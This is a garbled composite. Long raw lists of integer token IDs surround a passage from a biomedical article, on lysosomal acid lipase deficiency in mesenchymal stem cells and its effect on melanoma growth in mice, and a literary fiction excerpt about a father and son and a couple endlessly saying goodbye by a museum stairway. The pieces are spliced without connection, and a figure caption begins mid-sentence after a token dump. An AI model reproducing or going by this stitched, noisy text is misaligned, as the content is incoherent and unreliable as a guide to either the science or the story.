34, 1084, 39, 22, 910, 709, 14, 881, 568, 926, 2536, 14522, 13, 253, 7155, 273, 308, 894, 14, 4032, 13537, 285, 4502, 14, 13382, 5341, 12829, 23, 40, 7433, 3717, 883, 67, 7433, 10399, 15190, 369, 6137, 275, 253, 2614, 285, 6400, 273, 475, 77, 267, 11, 28912, 34062, 14, 249, 6499, 3754, 313, 2841, 544, 22, 36, 1084, 39, 22, 910, 709, 14, 881, 568, 926, 2536, 733, 310, 42177, 326, 253, 38543, 1055, 273, 2559, 3437, 25, 7433, 27330, 308, 1341, 285, 6137, 10399, 15190, 5802, 407, 475, 77, 267, 11, 28912, 32220, 17904, 281, 15506, 4502, 3116, 285, 16200, 15, 24646, 13, 475, 77, 267, 11, 28912, 10399, 15190, 30199, 34062, 9489, 949, 10399, 4061, 14, 22882, 264, 16011, 285, 32038, 1100, 313, 2841, 544, 24, 1084, 39, 24, 910, 709, 14, 881, 568, 926, 2536, 187, 187, 39, 487, 15484, 9346, 403, 271, 1774, 4445, 273, 25542, 66, 1341, 275, 253, 4502, 35962, 326, 1329, 4502, 3116, 15, 32220, 452, 253, 5350, 281, 22629, 715, 308, 9006, 84, 1561, 253, 4502, 35962, 13, 534, 310, 1529, 2442, 5122, 6944, 32220, 6097, 10277, 273, 4502, 3116, 285, 10005, 15, 308, 9006, 84, 403, 7943, 407, 253, 3361, 273, 2067, 9588, 15, 2732, 5445, 281, 253, 4502, 35962, 13, 32220, 4469, 308, 9006, 9588, 1690, 308, 79, 14, 36, 13, 5898, 14, 52, 3788, 13, 711, 1222, 13, 285, 39044, 10705, 10595, 6533, 309, 313, 2841, 544, 23, 1084, 39, 23, 910, 709, 14, 881, 568, 926, 9471, 7809, 616, 9827, 4404, 308, 9006, 84, 15, 475, 77, 267, 11, 28912, 32220, 12322, 2406, 2308, 273, 841, 308, 9006, 9588, 685, 1110, 273, 475, 77, 267, 11, 4526, 16, 12765, 32220, 313, 2841, 544, 23, 1084, 39, 23, 910, 709, 14, 881, 568, 926, 9471, 9417, 347, 1529, 5122, 281, 5513, 2139, 418, 1556, 14384, 1607, 3514, 32220, 6097, 4502, 14, 15980, 8287, 3745, 15, 187, 187, 688, 6452, 13, 418, 1556, 14384, 275, 32220, 1543, 275, 253, 2957, 273, 4502, 14, 13382, 5341, 3470, 949, 18611, 894, 17036, 13, 15088, 273, 1061, 317, 7920, 2616, 13, 45169, 1159, 285, 18003, 3258, 9827, 15, 380, 418, 1556, 10761, 7178, 476, 320, 247, 4460, 2303, 281, 28498, 253, 4502, 14, 13382, 5341, 3470, 273, 32220, 285, 4796, 253, 2495, 273, 2923, 10005, 285, 16200, 15, 187, 187, 15090, 31164, 52, 4889, 49044, 1712, 84, 21, 94, 187, 18613, 187, 187, 1145, 21185, 285, 894, 3104, 1712, 84, 21, 64, 18, 94, 187, 23130, 187, 187, 37633, 14, 881, 2796, 77, 267, 11, 4526, 16, 12765, 10, 285, 475, 77, 267, 11, 28912, 3754, 273, 253, 401, 36639, 16, 47, 285, 330, 3011, 5993, 16, 23, 4114, 497, 37553, 275, 2419, 15, 1876, 8249, 14238, 7668, 253, 897, 273, 5074, 452, 644, 7012, 407, 253, 32576, 18630, 9776, 285, 7890, 7039, 273, 14614, 2499, 4726, 273, 13715, 285, 3560, 9600, 4232, 407, 253, 23610, 327, 444, 36980, 13411, 273, 253, 2448, 19694, 2767, 8710, 7115, 15, 29301, 497, 24981, 762, 32576, 18630, 9776, 285, 7890, 7039, 14, 37407, 2515, 275, 247, 14049, 5893, 9509, 387, 14614, 2499, 4726, 273, 13715, 15 ]

10^6^) were placed in the upper chamber. After 5 days, the MSC number was counted. (**C**) Neutralization of cytokines in MSC proliferation. *lal* ^+/+^ MSCs (2 × 10^4^) were seeded into the lower chamber of transwells, with MDSCs (1 × 10^6^) placed in the upper chamber. MDSCs were treated with 10 μg/ml neutralizing antibody against IL-6, IL-1β, TNF-α, MCP-1 individually, in combination or with control immunoglobulin G at day 1 and day 3. After 5 days, the number of MSCs was counted. In the above experiments, data were expressed as mean ± SD; *n* = 3\~5. \**P* \< 0.05, \*\**P* \< 0.01.](oncotarget-07-61121-g007){#F7} DISCUSSION {#s3} ========== MSCs display the ability to modulate the tumor microenvironment, thus having an impact on tumor growth, progression and metastasis. Here we used B16 melanoma cells as a model to compare the tumor-promoting ability between *lal*^+/+^ and *lal*^−/−^ MSCs, and to investigate the underlying mechanisms involved in the process. The present study shows for the first time that MSCs with LAL deficiency lose the ability to stimulate tumor growth and metastasis. It has been reported that B16 melanoma cells did not form tumors in allogeneic mice unless MSCs were co-injected \[[@R17]\]. In our case, although small tumors were observed in allogeneic FVB/N mice with B16 melanoma cell injection, when B16 melanoma cells were mixed with *lal*^+/+^ MSCs, their ability to grow and migrate was significantly enhanced (Figure [1A and 1C](#F1){ref-type="fig"}). However, LAL deficiency greatly reduced this ability of MSCs in the allogeneic FVB/N mouse model. It is interesting that *lal*^−/−^ MSCs almost completely inhibited B16 metastasis (Figure [1C](#F1){ref-type="fig"}). Many mechanisms have been proposed to account for MSC-mediated effects of tumor support \[[@R6]\]. During the process of MSC-mediated tumor growth, MSCs need to maintain certain cell viability to perform their functions. As we reported before, LAL plays differential roles to determine the cell fate in different cell types. LAL deficiency promotes proliferation and inhibits apoptosis of myeloid lineage cells and endothelial cells \[[@R13], [@R19]\]. In an opposite effect, LAL deficiency inhibits proliferation and induces apoptosis of T lymphocytes \[[@R12]\]. Similar to T lymphocytes, here we report that the decreased cell viability of *lal*^−/−^ MSCs was observed during *in vitro* culture experiments. Concomitantly, a higher caspase 3 activity was observed in *lal*^−/−^ MSCs than that in *lal*^+/+^ MSCs, accompanied by up-regulated expression of the caspase family members and the pro-apoptotic genes (Figure [2](#F2){ref-type="fig"}). Klopp et al. suggested that the increased tumor mass observed when MSCs and tumor cells were co-injected can be related to the increased proliferation of MSCs in tumors \[[@R6]\], indicating that MSC proliferation is critical to tumor growth. Funes et al. reported that restoration of Nrf2 function in transformed MSCs impaired *in vivo* tumor growth by mechanisms that included MSC sensitization to apoptosis \[[@R20]\], suggesting that MSC apoptosis is one of the reasons for the impaired tumor growth. Therefore, the decreased proliferation and increased apoptosis provide a mechanism by which *lal*^−/−^ MSCs lose their viability and ability to stimulate tumor growth and metastasis. Other mechanisms also play important roles in MSCs to stimulate tumor growth. MSCs secrete a variety of growth factors, cytokines and chemokines to influence tumor proliferation, migration, and angiogenesis \[[@R6]\]. Reduced synthesis and secretion of IL-6, MCP-1 and IL- 10 were observed in *lal*^−/−^ MSCs (Figure [3](#F3){ref-type="fig"}). MSC-secreted IL-6 has been found to act as a paracrine factor to sustain breast cancer cell migration \[[@R21]\]. Besides its effects on tumor cells, MSCs themselves are also the target of IL-6. Under the influence of IL-6, MSCs can transform malignant cells and have tumorigenic properties \[[@R22]\]. In addition, IL-6 maintains MSC stemness by enhancing proliferation and protecting from apoptosis. Such stemness-maintaining effects by IL-6 support our findings of the decreased proliferation and increased apoptosis in *lal*^−/−^ MSCs (Figure [2](#F2){ref-type="fig"}). MCP-1 was reported to facilitate breast-tumor metastasis by recruiting inflammatory monocytes \[[@R23]\]. IL-10 permits malignant cells escaping from cell-mediated immune defenses, and is associated with poor prognosis in colon cancer \[[@R24]\]. Moreover, IL-6, MCP-1 and IL-10 are related to the immunoregulatory effects of MSCs \[[@R25]\]. When B16 melanoma or LLC cells were treated with conditioned medium from *lal*^−/−^ MSCs, decreased proliferation of tumor cells was observed (Figure [4A](#F4){ref-type="fig"}), accompanied by reduced activation of ERK1/2, p38MAPK, and STAT3 oncogenic molecules in tumor cells (Figure [4B and 4C](#F4){ref-type="fig"}). This is in agreement with a previous report that MSC-secreted IL-6 facilitates cancer cell migration by persistent activation of MAPK, AKT and p38MAPK in breast cancer cells \[[@R21]\]. It is also agreed with our previous report that persistent activation of STAT3 induces adenocarcinoma in the lung, and STAT3 serves as a biomarker for lung adenocarcinoma in humans \[[@R15], [@R16]\]. It is well known that the downstream metabolic derivatives of LAL serve as ligands for PPARγ, which controls expression of IL-6 \[[@R26]\]. We have shown that LAL downstream derivative 9-HODE treatment significantly reversed pathogenesis in *lal^−/−^* mice, including tumor growth and tumor invasion \[[@R27], [@R28]\]. In addition, we have reported that metabolic enzyme LAL influences gene transcription of AKT, mTOR and STAT3 \[[@R14], [@R29]\], which control the secretion of MCP-1 and IL-10 and IL-6 \[[@R30], [@R31]\]. MSCs possess immunosuppressive effects, which serves as another important mechanism through which MSCs promote tumor growth and progression. Djouad et al. reported that the immunosuppressive function of MSCs led to a higher incidence of melanoma formation in a mouse model \[[@R17]\]. MSCs can directly inhibit proliferation and impair the function of a variety of immune cells, such as dendritic cells, T and B lymphocytes, and natural killer cells \[[@R6]\]. When MSCs and B16 melanoma cells were co-injected into wild type mice, there was no difference of CD4^+^ T cells between *lal*^+/+^ and *lal*^−/−^ MSC-injected mice (Figure [5B](#F5){ref-type="fig"}). However, the percentage of CD8^+^ T cells was increased in the blood, lung and spleen of *lal*^−/−^MSC-injected mice compared with *lal*^+/+^ MSC-injected mice (Figure [5A](#F5){ref-type="fig"}). Interestingly, the percentage of T cell-suppressing and tumor-promoting Ly6G^+^CD11b^+^ MDSCs was decreased in the blood and lung of *lal*^−/−^ MSC-injected mice (Figure [5C](#F5){ref-type="fig"}). It is conceivable that the synergistic effect of increased CD8^+^ cytotoxic T cells and decreased MDSCs induced by *lal*^−/−^ MSCs contributes to impaired tumor growth and metastasis. Conversely, *lal*^−/−^ MDSCs facilitated MSC proliferation through MDSC-secreted cytokines and chemokines (Figure [7](#F7){ref-type="fig"}). Fibroblasts are an important component of stroma cells in the tumor microenvironment that support tumor growth. MSCs have the capacity to differentiate into TAFs within the tumor microenvironment, which is another potential mechanism underlying MSCs′ stimulation of tumor growth and progression. TAFs are characterized by the presence of several markers. After exposure to the tumor microenvironment, MSCs expressed TAF markers including Tn-C, α-SMA, desmin, and fibroblast marker Collagen I (Figure [6](#F6){ref-type="fig"}), indicating their differentiation towards TAFs. *lal*^−/−^ MSCs exhibited lower levels of these TAF markers than those of *lal*^+/+^ MSCs (Figure [6](#F6){ref-type="fig"}), serving as another mechanism to explain why LAL deficiency impairs MSCs′ tumor-stimulating ability. In conclusion, LAL deficiency in MSCs results in the loss of tumor-promoting functions through regulating cell viability, secretion of paracrine factors, immunosuppressive function and fibroblastic differentiation. The LAL metabolic pathway can be a novel target to modulate the tumor-promoting functions of MSCs and reduce the risk of cancer progression and metastasis. MATERIALS AND METHODS {#s4} ===================== Animals and cell lines {#s4_1} ---------------------- Wild-type (*lal*^+/+^) and *lal*^−/−^ mice of the FVB/N and C57BL/6 background were bred in house. All scientific protocols involving the use of animals have been approved by the Institutional Animal Care and Use Committee of Indiana University School of Medicine and followed guidelines established by the Panel on Euthanasia of the American Veterinary Medical Association. Animals were housed under Institutional Animal Care and Use Committee-approved conditions in a secured animal facility at Indiana University School of Medicine.

[ 9088, 13, 969, 253, 7512, 835, 247, 4102, 21021, 5006, 2792, 13, 18727, 387, 253, 1436, 665, 2335, 253, 7512, 285, 588, 320, 521, 17830, 582, 6270, 23490, 281, 521, 4669, 285, 16771, 7808, 13, 5471, 521, 1039, 2112, 326, 29329, 434, 8099, 342, 253, 12192, 273, 521, 9881, 13, 1919, 344, 14190, 253, 7880, 285, 25038, 4055, 273, 521, 10325, 13, 1024, 285, 323, 9790, 273, 1107, 15, 1244, 1128, 1439, 23374, 326, 521, 3347, 310, 2168, 17390, 285, 326, 352, 31835, 779, 281, 1158, 326, 7198, 310, 2970, 8003, 285, 8003, 281, 326, 2363, 672, 344, 1537, 3135, 281, 4264, 557, 965, 4351, 352, 672, 597, 15729, 779, 1128, 248, 19413, 253, 14098, 13, 25701, 342, 32482, 273, 285, 287, 2352, 285, 20581, 326, 1985, 4513, 247, 23478, 4759, 15795, 275, 253, 13862, 15, 1244, 762, 326, 13345, 15795, 1128, 435, 11232, 285, 2568, 13, 1335, 13, 4704, 281, 13185, 1633, 11968, 285, 5369, 50092, 494, 1128, 15883, 4453, 387, 521, 3347, 15, 1244, 752, 344, 4453, 387, 13, 752, 344, 11403, 13, 310, 521, 1495, 342, 779, 13, 616, 2644, 1495, 2366, 13, 323, 253, 1551, 273, 521, 1495, 15, 187, 187, 1898, 6270, 7819, 327, 253, 1708, 15, 1244, 259, 1582, 7198, 598, 285, 15729, 84, 779, 15, 322, 39757, 13505, 779, 15, 754, 1912, 626, 1339, 779, 564, 15, 754, 1912, 626, 1339, 564, 15, 18901, 15, 187, 187, 52, 2835, 327, 253, 5024, 273, 253, 1652, 3722, 13, 344, 6556, 521, 3347, 281, 1978, 432, 10805, 15, 187, 5288, 1539, 8835, 35336, 13, 8160, 4339, 43492, 1042, 13, 378, 1410, 15400, 3003, 353, 17423, 5529, 3915, 34, 3027, 56, 8506, 13, 43675, 947, 329, 39733, 18460, 58, 187, 187, 3, 1276, 673, 310, 352, 865, 344, 285, 703, 1333, 13, 387, 253, 1072, 673, 13, 387, 253, 1072, 4964, 13, 26614, 13, 2378, 969, 13, 12200, 253, 11032, 22298, 1106, 13, 762, 247, 1943, 8467, 15, 187, 187, 1898, 597, 9012, 15, 187, 187, 1898, 6747, 273, 731, 16633, 616, 2927, 327, 616, 3698, 281, 1239, 33454, 752, 352, 2296, 15, 187, 187, 2302, 878, 15, 187, 187, 1276, 673, 310, 352, 32, 187, 187, 1147, 310, 13, 10534, 13, 253, 673, 281, 1333, 27, 346, 1276, 673, 310, 352, 865, 187, 187, 2598, 13, 597, 1053, 626, 4993, 253, 28394, 273, 616, 2927, 327, 253, 28394, 273, 616, 28654, 13, 533, 512, 253, 1072, 13, 352, 434, 347, 604, 32545, 497, 18505, 253, 581, 281, 253, 643, 15, 1583, 403, 13, 4754, 13, 45170, 342, 23854, 15, 6975, 1633, 1620, 396, 939, 598, 512, 253, 1039, 285, 1691, 745, 1919, 1996, 984, 13, 387, 253, 1072, 673, 13, 627, 310, 1335, 673, 13, 512, 253, 673, 275, 253, 1533, 15, 187, 187, 1898, 344, 285, 703, 37240, 326, 2378, 969, 352, 434, 673, 281, 629, 4088, 13, 326, 846, 253, 673, 273, 12371, 346, 5371, 673, 310, 352, 865, 3249, 253, 18109, 673, 13, 440, 30644, 407, 4520, 932, 8370, 390, 5865, 13, 273, 3981, 33969, 15, 380, 673, 273, 12365, 594, 326, 3253, 476, 3135, 969, 15, 3512, 272, 275, 1340, 281, 281, 1705, 896, 2366, 15, 21965, 13, 987, 1977, 13, 969, 13, 285, 5471, 2761, 13, 417, 1711, 13, 533, 4754, 751, 1110, 1711, 952, 665, 816, 10280, 9534, 285, 3000, 281, 1978, 432, 2970, 3663, 275, 253, 1517, 27789, 273, 616, 2852, 285, 253, 4293, 2741, 273, 616, 2469, 15, 380, 440, 744, 6425, 273, 253, 440, 14, 26928, 15, 1503, 4894, 447, 273, 752, 597, 2378, 497, 1128, 267, 422, 533, 12345, 1128, 40591, 839, 275, 253, 1234, 292, 33258, 5448, 273, 41510, 294, 16668, 84, 15, 187, 187, 3, 8620, 17034, 937, 344, 2296, 15, 187, 187, 3, 8620, 17034, 937, 703, 2296, 15, 187, 187, 14358, 273, 731, 3192, 1557, 417, 281, 1333, 346, 12311, 17034, 3, 387, 253, 1072, 673, 969, 13, 9202, 417, 273, 752, 597, 1537, 1333, 281, 1016, 643, 13, 533, 273, 752, 253, 581, 665, 28654, 731, 1537, 1333, 13, 253, 581, 665, 556, 12759, 11790, 387, 731, 7418, 2069, 13, 4560, 731, 12832, 5050, 10389, 917, 15, 187, 187, 2598, 13, 253, 581, 346, 12311, 17034, 3, 7835, 2761, 751, 247, 5698, 21704, 18101, 382, 7392, 273, 253, 643, 346, 12311, 17034, 449, 329, 346, 12311, 17034, 17034, 449, 187, 187, 1898, 347, 253, 1107, 1509, 313, 8826, 273, 731, 403, 1107, 6940, 2366, 13, 1078, 1146, 10848, 11654, 275, 253, 13765, 23579, 273, 436, 8164, 28, 533, 253, 3541, 273, 1110, 1107, 310, 625, 21858, 512, 253, 673, 13, 417, 751, 1633, 326, 597, 6940, 533, 751, 1633, 597, 2183, 13, 1633, 597, 2028, 285, 851, 437, 969, 10, 616, 15547, 1705, 281, 28788, 1016, 643, 247, 1270, 2968, 13, 1512, 1199, 15, 7160, 15547, 403, 253, 42212, 285, 35491, 3210, 273, 247, 2014, 4318, 326, 1128, 249, 697, 2774, 13, 2080, 432, 253, 11032, 22298, 1106, 285, 3304, 247, 1355, 13, 9592, 6237, 406, 839, 6507, 1128, 29343, 264, 247, 3962, 47168, 273, 253, 1445, 273, 253, 33969, 285, 253, 3924, 10463, 13, 4536, 342, 26523, 13, 4536, 342, 247, 3369, 1499, 28444, 751, 247, 37551, 15, 187, 187, 2512, 369, 247, 673, 672, 13, 4754, 13, 597, 497, 253, 4394, 665, 4425, 285, 1965, 13337, 849, 597, 753, 33969, 285, 849, 597, 1694, 896, 2366, 13, 17421, 12330, 285, 22569, 13, 26616, 273, 247, 2926, 326, 1537, 452, 644, 15225, 3542, 533, 13, 387, 1878, 13, 597, 497, 253, 4394, 4028, 352, 15, 187, 187, 4125, 13, 417, 594, 1199, 13, 417, 10542, 15, 187, 187, 4125, 13, 253, 33969, 310, 2457, 285, 22407, 285, 20654, 15, 187, 187, 34, 9257, 2783, 285, 5118, 285, 2080, 1805, 3542, 33969, 28, 533, 247, 33969, 3542, 407, 3095, 2010, 15, 187, 187, 39557, 407, 3095, 665, 310, 1620, 7094, 13864, 342, 253, 906, 285, 13, 594, 13, 4983, 689, 13, 3981, 346, 25521, 3, 969, 281, 1333, 346, 12311, 17034, 3, 969, 15, 11474, 1024, 253, 581, 665, 12013, 285, 1407, 953, 731, 3133, 281, 320, 45012, 417, 327, 253, 19152, 273, 253, 45591, 13, 533, 13, 12718, 13, 327, 253, 268, 24912, 14, 19982, 273, 253, 33969, 15, 187, 187, 1898, 387, 806, 13, 326, 434, 3965, 1199, 352, 15, 187, 187, 7910, 952, 1128, 1439, 7094, 5810, 2568, 13, 533, 642, 3356, 253, 952, 597, 908, 281, 320, 1128, 84, 16948, 33969, 11654, 285, 323, 253, 1390, 673, 13, 689, 285, 689, 15, 187, 187, 34, 637, 285, 247, 3416, 665, 871, 1128, 263, 3282, 1128, 3529, 253, 1390, 33969, 310, 347, 6422, 285, 28561, 6636, 247, 2181, 347, 253, 806, 346, 25521, 3, 326, 597, 28438, 4089, 275, 616, 37111, 10542, 285, 12345, 4456, 15, 743, 42439, 788, 2420, 8164, 873, 281, 2489, 271, 40432, 15, 1916, 2489, 247, 33969, 326, 1833, 4035, 7392, 272, 13, 30017, 850, 533, 46754, 745, 387, 440, 386, 4671, 456, 14636, 10793, 352, 434, 32338, 762, 253, 32947, 913, 26202, 982, 273, 3541, 434, 17948, 5500, 6836, 15, 733, 1833, 1900, 320, 253, 1072, 13, 533, 20946, 36522, 588, 18578, 253, 3552, 15873, 273, 253, 36237, 3950, 3753, 273, 8723, 10575, 285, 8763, 30460, 326, 778, 417, 320, 627, 13, 326, 1620, 497, 28, 533, 253, 767, 273, 731, 1900, 3543, 597, 497, 594, 4980, 285, 13, 275, 253, 990, 13, 23452, 1676, 723, 751, 436, 403, 752, 4980, 1445, 285, 697, 16226, 835, 2761, 2717, 6569, 403, 4270, 327, 15, 187, 187, 3378, 673, 13, 581, 273, 731, 588, 320, 253, 806, 281, 3150, 13, 285, 253, 643, 760, 1996, 15, 187, 187, 3726, 871, 616, 346, 7582, 23887, 57, 1128, 455, 1512, 973, 15, 187, 187, 1898, 597, 1849, 1239, 512, 273, 1594, 285, 512, 670, 1594, 13, 594, 597, 871, 1805, 685, 281, 1158, 344, 1833, 2965, 715, 253, 19328, 15464, 273, 581, 12365, 323, 1097, 273, 731, 13, 2366, 13, 10805, 432, 327, 1029, 390, 2970, 22007, 1977, 407, 247, 10864, 5149, 390, 1146, 1669, 42194, 327, 271, 8930, 273, 49495, 390, 5913, 15, 1583, 1833, 3150, 13, 5046, 13, 12200, 253, 11032, 22298, 1106, 285, 762, 247, 1943, 8467, 15, 3973, 581, 285, 840, 253, 643, 13, 347, 604, 1061, 1197, 272, 253, 2471, 275, 767, 11438, 273, 12300, 80, 285, 46326, 15, 1583, 1833, 3150, 417, 47494, 390, 37836, 13, 533, 23086, 273, 253, 12825, 24410, 273, 616, 29775, 15, 7160, 29775, 390, 253, 29775, 273, 253, 581, 665, 28654, 731, 15, 1310, 597, 1472, 13476, 15, 1310, 36900, 597, 1472, 4136, 281, 8773, 432, 436, 2774, 285, 697, 2709, 285, 16105, 10575, 15, 187, 187, 1898, 840, 13, 672, 326, 673, 4720, 3249, 13, 512, 273, 352, 588, 320, 3663, 11654, 13, 751, 594, 1142, 643, 1841, 326, 452, 644, 3663, 13, 1293, 2455, 6883, 253, 3221, 12580, 1734, 273, 253, 772, 17888, 17767, 273, 253, 28478, 15, 187, 187, 28645, 1594, 13, 344, 665, 310, 1840, 3253, 285, 4130, 13, 4245, 731, 253, 9326, 273, 1959, 272, 731, 432, 436, 2774, 285, 340, 3107, 731, 562, 273, 436, 2238, 273, 2494, 19192, 1293, 7113, 79, 276, 1003, 390, 667, 3686, 273, 9326, 12365, 15, 187, 187, 1898, 16965, 731, 327, 616, 1039, 15, 187, 187, 1898, 3637, 731, 15, 187, 187, 1898, 7819, 731, 715, 247, 2926, 15, 187, 187, 3980, 247, 4460, 15, 187, 187, 1989, 6747, 344, 4543, 703, 310, 1663, 2119, 1128, 3022, 387, 643, 2069, 13, 751, 387, 253, 5068, 1128, 3529, 597, 971, 1633, 751, 326, 281, 5108, 15, 187, 187, 22582, 13, 253, 760, 2181, 597, 971, 310, 13, 4496, 13, 1339, 436, 320, 253, 1390, 673, 597, 1333, 33969, 285, 417, 1180, 309, 1849, 14, 39735, 14, 38483, 14, 5560, 14, 1171, 14, 5430, 14, 20415, 14, 3181, 14, 664, 1849, 14, 26357, 14, 12311, 17034, 14, 922, 332, 13, 1900, 253, 1072, 13, 1900, 13, 5046, 13, 690, 4512, 5333, 390, 14000, 390, 747, 19652, 390, 19080, 10618, 13, 26614, 13, 2378, 969, 13, 12200, 253, 11032, 22298, 1106, 13, 762, 247, 1943, 8467, 15, 187, 187, 18978, 13, 2378, 969, 13, 12200, 253, 11032, 22298, 1106, 13, 762, 247, 1943, 8467, 13, 344, 285, 703, 4282, 849, 285, 2139, 597, 1849, 7402, 598, 627, 13, 846, 594, 1048, 1293, 6523, 1016, 643, 313, 2004, 1663, 352, 369, 760, 247, 1643, 2909, 3622, 326, 597, 753, 33969, 13, 969, 582, 285, 760, 594, 597, 476, 1333, 33969, 15, 187, 187, 49, 459, 27454, 13, 352, 434, 1896, 15, 187, 187, 1989, 323, 779, 285, 323, 617, 326, 2934, 273, 795, 32669, 27454, 64, 1900, 4455, 247, 20620, 275, 2426, 13, 247, 964, 964, 964, 752, 369, 253, 3159, 326, 1900, 17328, 779, 273, 253, 1416, 273, 247, 12358, 285, 617, 273, 247, 7520, 5893, 1160, 598, 273, 253, 4243, 273, 643, 5074, 32, 187, 187, 13924, 13, 4754, 27, 3475, 1105, 263, 251, 15, 187, 187, 8457, 627, 403, 1643, 1841, 1679, 795, 32669, 64, 1905, 395, 16907, 594, 32957, 2744, 342, 8921, 6353, 285, 5639, 20689, 5005, 1128, 14644, 247, 27454, 15, 2434, 1763, 39725, 403, 1900, 25493, 407, 253, 4682, 4742, 2934, 273, 247, 3632, 1255, 326, 3548, 626, 3632, 15, 1244, 10891, 39725, 1128, 71, 932, 6787, 273, 253, 15143, 1128, 609, 2717, 625, 685, 4864, 285, 16761, 285, 1881, 14, 31031, 285, 18319, 14, 29965, 91, 494, 9508, 273, 6612, 15, 496, 2254, 264, 4243, 15, 6975, 12031, 735, 273, 14459, 12691, 275, 1327, 33223, 15, 1292, 642, 15, 3189, 5314, 13407, 12834, 281, 320, 17527, 1078, 597, 2489, 4755, 285, 20996, 281, 4130, 12203, 323, 8115, 285, 3499, 5829, 11192, 285, 17066, 265, 285, 7846, 36083, 19840, 15, 1292, 1900, 407, 253, 3564, 273, 1529, 13, 3095, 665, 21427, 1727, 352, 285, 665, 310, 13, 1293, 247, 5545, 13, 1805, 387, 26766, 731, 949, 247, 2419, 342, 9956, 326, 403, 1900, 3644, 15, 1893, 13, 1046, 594, 2223, 13, 581, 273, 731, 13, 581, 273, 1110, 10891, 39725, 13, 44716, 285, 556, 281, 320, 40754, 13, 751, 271, 13188, 342, 247, 1892, 13, 3496, 1487, 1154, 1113, 522, 584, 13, 1919, 352, 434, 944, 25466, 285, 11044, 9357, 562, 285, 385, 20792, 456, 13, 594, 352, 2506, 626, 18302, 327, 436, 1930, 273, 1841, 15, 1244, 594, 313, 24765, 405, 641, 273, 326, 3290, 326, 7819, 731, 715 ]

there, again the photo where a recently murdered boy points, smiling at the person who took the photo and will be his killer), Tom struggles to his feet and walks slowly, feeling his way along that hallway's walls with the tips of his fingers, until he reaches the absolute and definitive center of his universe, now and for millions of years. And—not caring that his son is already asleep and that it hurts him to think that Fin is getting closer and closer to that age when he might begin to enjoy disliking it when they hug him—he enters the bedroom, decorated with posters of androids and planets that radiate a shy green glow in the darkness. And under that artificial glow—artificial and yet, still, ready to transmit something infinite and unfathomable—Tom looks at his son. And what he looks at, what he sees, is his life with him, their whole life together, for the rest of his life. And Tom turns on the light. And wakes Fin up and hugs him. Squeezes him. He won't let him go. He won't let go. Ever. Sitting on the edge of the little bed, he holds his son to keep from falling. MEANWHILE, ONCE AGAIN, BESIDE THE MUSEUM STAIRWAY, UNDER A BIG SKY "What time is it?" he and she say, at the same time, at the same hour, meanwhile, once again, beside the Museum stairway, under a big sky. And they laugh. And neither of them focuses their eyes on their watch to read aloud what it says. No need. What time is it? It is, precisely, the time to say: "What time is it?" So, they don't fix the spheres of their eyes on the spheres of their watches, but all the same, it's as if needles were fixing the one to the other. They are, yes, fastened with pins. Like something never sewn up all the way and put off until later because, at the same time, there is still time, all the time in the world. And he and she comprehend that once again it's time to part ways, that after the time of wondering "what time is it?" comes the romantic time, unmarked by numerals Roman or digital, of saying goodbye. The time of ending so that everything can begin again. Parting in order to to come back together. Soon, right away, again, and feeling almost, not old, but yes like those old people who just repeat situations and words to keep from getting lost in the brevity of their future and the immensity of their past. The unold equivalent of the un-dead. Zombies of what they once were—alive but barely—floating in the repetitious wind of perpetual rewinds. "Goodbye," he says. "Goodbye," she says. Both of them taking care not to say "goodbye" at the same time again, afraid not of what they might say to each other, but of what the one who watches them might say, the one who has gotten angry at them numerous times, finding them literally incorrigible. So, the one "goodbye" sounds almost like a ventriloquist echo of the other "goodbye." A "goodbyebye." And as the years pass (some of them are years lived together, before being captured forever in the circular infinity of this instant; but the memory of those years is more diffuse all the time, not like something that they lived but like something they told, something they tell and retell again) their voices come to resemble each other a great deal, too much. Their voices are the masculine and feminine models of a single voice that—in its moment, far from the Museum stairway and inside a small, increasingly suffocating flat—learned a perfect mastery of the art of the goodbye and the stage exit, sometimes with shouting, sometimes with a door slamming like a slap. There was a time when, yes, they were the ones who decided and improvised how they said goodbye and how they got back together, amid tears and laughter, masters of a story that might have been poorly written but, at least, they were the ones writing it. Now, not so much, not anymore. Now, the goodbye is final and refined and elegant. A carefully considered and calculated and far better written goodbye; but a goodbye written by someone else. Written by someone who is never entirely pleased with the result and, so, starting over, saying "hello" again to say "goodbye" again. Though now the one who writes and edits them seems to be concentrating not on the twist of the reunion, but, solely, on the pogo-stick of the goodbye. And at first, that's pretty much it. Two people—not entirely characters yet, but no longer the people they used to be—saying goodbye forever and for the last time, over and over. A man and a woman who know—or sense—that the last goodbye is as powerful and emotionally charged a thing as the first "hello" that they scarcely hear in their mouths anymore and barely remember. An unforgettable instant set to become an eternity. To become a goodbye that'll continue echoing, obedient but bouncing off at unanticipated angles whenever it's evoked under the unpredictable acoustics of memory's irregular cupola. It'll always be the same, but successive visions will convince the credulous of the transcendental nature of minimal variations and hidden meanings that may not be there, that never were; but the two of them always felt they were so modern and, in the end, misunderstandings like this are what modern art and its performances where almost nothing happens are built on. With time, one of them will be the first to die, and the other only later. They know their "author"—X—all too well. And they've read all of X and all about X, so they know better than to think he'll fall into the awkward trap of one ending for both of them, together, falling from on high or getting swept away by a giant wave or being left stranded on an island of repetitions or whatever. They'll die, maybe, beside the Museum stairway and under a big sky. First one and then the other, as if parodying the death in two movements of Romeo and Juliet. They'll die not poisoned or stabbed, but bored of the toxic purity of their exhaustion. Their exhaustion or the exhaustion of the one who watches them. If they're lucky. If someday they're allowed to escape from this moment and its multiple and subtle variations. And then, when that time finally comes, all of it will be lost forever, like so many other things that have been lost, without ever receiving the false piety of the consolation prize of the ruins. Unless X, he who is above everything and everyone, gives them the surprise of freeing them from this moment and yanks them out of this kind of microstory without dénouement or any sort of surprise ending. And sends them on their way. And follows them. And turns them into a story. Or a novel. But neither he nor she is really sure—like at other times, like at the beginning—that they want something like that to happen. Really, the only thing they want is, please, let this be the last time they say goodbye and not number I've-already-lost-count-of-how-many-times-we've-said-goodbye-forever, always the same, always, maybe, some slight shift or adjustment or new flaw or clever correction, meanwhile, once again, beside the Museum stairway, under a big sky. Meanwhile, once again, beside the Museum stairway, under a big sky, he and she wonder how and why they've ended up there, after so long without seeing each other (though really it was only a few minutes ago that they said goodbye, again), and only so they can say goodbye. Pure coincidence, it's possible. But for him and for her that idea of _pure coincidence_ always seemed a contradiction in terms, a... what was the word that always reminded him of the name of a medication and her of a rare animal made up of the parts of other animals? Ah, yes: oxymoron. Because there are few things less _pure_ —and seemingly so embroidered with strange particles and foreign corpuscles—than a coincidence. Coincidences are always contaminated by the murky idea of a randomness that isn't random. And coincidences—falsifications of the fantastic—are nothing more than brief and concentrated and self-sufficient and instantly-analyzable versions of reality. Invented parts. Like slivers of 